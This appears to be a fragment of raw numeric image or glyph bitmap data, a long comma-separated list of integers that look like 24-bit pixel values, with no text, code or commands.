,16777215,14389306,0,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,6731519,16777215,16767888,3801088,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,3827344,9452032,0,14950,11993087,16777142,6684672,0,0,0,0,0,6731519,16777215,11953664,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777215,16767926,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14399078,3801088,0,0,0,3827382,16777215,16777142,6684672,0,0,102,11983871,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14399078,3801088,0,0,0,3827382,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,102,11993087,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,3838171,16777215,11953664,0,0,0,0,0,0,0,102,11993087,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,9452032,0,0,0,0,0,0,26294,16777215,14389306,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,14389306,0,0,0,0,58,6710842,0,0,0,14992,14417919,14389306,0,0,0,0,58,6710842,0,0,0,3838134,14417919,16777215,14399078,3801088,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,26294,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,14389392,11993087,16777142,6684672,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,6731519,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,6731519,16777215,16758374,0,0,0,0,26294,16777215,16777142,6684672,0,102,11983798,6684672,0,0,0,0,58,6731483,11953664,0,0,6731519,16777215,16758374,0,0,0,3838171,16777215,16777215,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16767926,9474150,3827344,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983798,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,11953664,0,0,102,11983835,14408667,16777215,16777215,16767963,14408667,14408703,16777215,16777179,14408667,11953664,0,26294,16777215,16777142,6684672,3838171,16777142,6684672,0,0,0,0,26294,16777215,16767888,3801088,14992,14417919,16767888,3801088,14950,11983871,16777215,11953664,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,58,9493503,16777215,11953664,0,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,102,11993087,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,58,9493503,16777215,11953664,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,14906,6731483,14417919,16777215,16777215,16767888,3801088,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,14408630,6699578,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,3838171,16777215,11953664,102,11993087,16777215,16777215,14389350,9493503,16777142,6684672,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,11953722,9493503,14389306,26294,16777179,9452134,11993087,16777142,6684672,0,3838171,16777215,16758416,9493503,16777142,6684672,0,26294,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,0,6731519,16777215,14389306,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16767888,3801088,0,0,0,3838171,16777215,16758374,0,26294,16777215,16767888,3801088,102,11993087,16777215,11953664,0,3838171,16777215,16758374,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,6731519,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,14992,14417919,16777142,6684672,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,26294,16777215,16767888,3816080,11983871,16777215,16777215,14408630,6699520,0,0,0,0,0,14950,9483995,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,14950,9483995,16777215,16777215,16767926,9452032,6731519,16777215,14389306,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777179,11953722,3838171,16777215,14389306,0,0,26294,16777215,16767888,3816038,11983871,16777215,16777215,16767926,6699520,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,26294,16777215,16777142,6684672,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,58,9493503,16777179,9463440,14417919,16777215,14389306,3827382,14417919,16777215,14389306,0,0,26294,16777215,16758374,14992,11983871,16777215,16777215,16767926,6699520,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,26294,16777215,16758374,14950,11983871,16777215,16777215,16767926,9452032,0,0,0,0,58,9483995,16777215,16777215,16777179,11953664,3838171,16777215,14389306,0,58,9493503,16777215,16777215,16777142,6684672,26294,14417919,16777215,16777179,11964474,0,0,0,0,3827344,11983835,14417919,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,14992,14417919,16767888,3801088,102,11993087,16777179,9452032,0,6731519,16777215,14389306,0,3838171,16777215,16767888,3801088,0,0,0,6731519,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,14950,9483995,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,3838171,16777215,16767926,11983835,16777215,16777215,16777179,11974363,16777215,16767888,3801088,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,14992,11983871,16777215,16777215,16777215,14408630,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,14906,3815994,3815936,0,3838171,16777215,14389306,0,0,6731519,16777179,11953664,0,26294,14417919,14389306,0,0,0,0,0,0,0,3838171,14389306,0,0,0,3827382,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801146,3815994,3815994,3815994,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,102,11993087,16777142,6684672,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,14950,9483995,16777179,11953722,0,0,0,0,0,0,0,0,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,6731519,16777215,16777215,16777215,16777215,16777215,11953664,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,9452032,0,0,0,0,0,0,26294,16777215,16758374,0,0,26294,16777215,14389306,0,0,0,26294,14399120,3801088,0,0,14992,14408592,3801088,0,0,0,0,0,14992,14417919,14389306,0,0,0,14950,11983871,16777179,9452032,0,0,14992,14417919,14389306,0,0,0,14950,11983871,16777179,9452032,0,0,0,0,3838171,16777215,11953664,0,58,9483995,16777179,9452032,0,0,0,0,0,3838171,16777215,14399078,0,0,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,0,6731519,16777215,11953664,102,11993087,16767888,3801088,0,0,0,0,58,9493503,16777179,9452134,11993087,16777142,6684672,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,11953664,0,3838171,16777215,16758416,9493503,16777142,6684672,0,26294,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777179,9452032,0,3838171,16777215,16777142,6684672,0,0,0,6731519,16777215,16767888,3801088,102,11993087,16777215,11953664,0,0,14992,14417919,16758454,11993087,16777179,9452032,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16758374,0,0,26294,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,3816080,11983871,16777215,16767888,3801088,0,0,6731519,16777215,14389306,0,0,14992,14417919,16777179,9452032,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,0,3838171,16777215,16777215,16777215,14408667,11964518,3801088,0,0,0,0,3838171,16777215,16777179,14399078,3801088,0,6731483,16777215,16777179,11964474,0,0,0,0,14950,9483995,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,14906,6710842,0,0,0,58,9493503,16777215,11953664,0,0,26294,16777215,16758374,14992,11983871,16777215,16777215,16767926,6699520,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,14992,14417919,16777215,11953664,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,14408703,16767888,3801088,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,0,3838171,16777215,16758374,0,0,0,58,9493503,16777215,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,102,11993087,16777215,11953664,0,26294,16777215,16767888,3801146,9483995,16777215,16777215,16767926,9452032,0,0,14992,14417919,16777142,6684672,0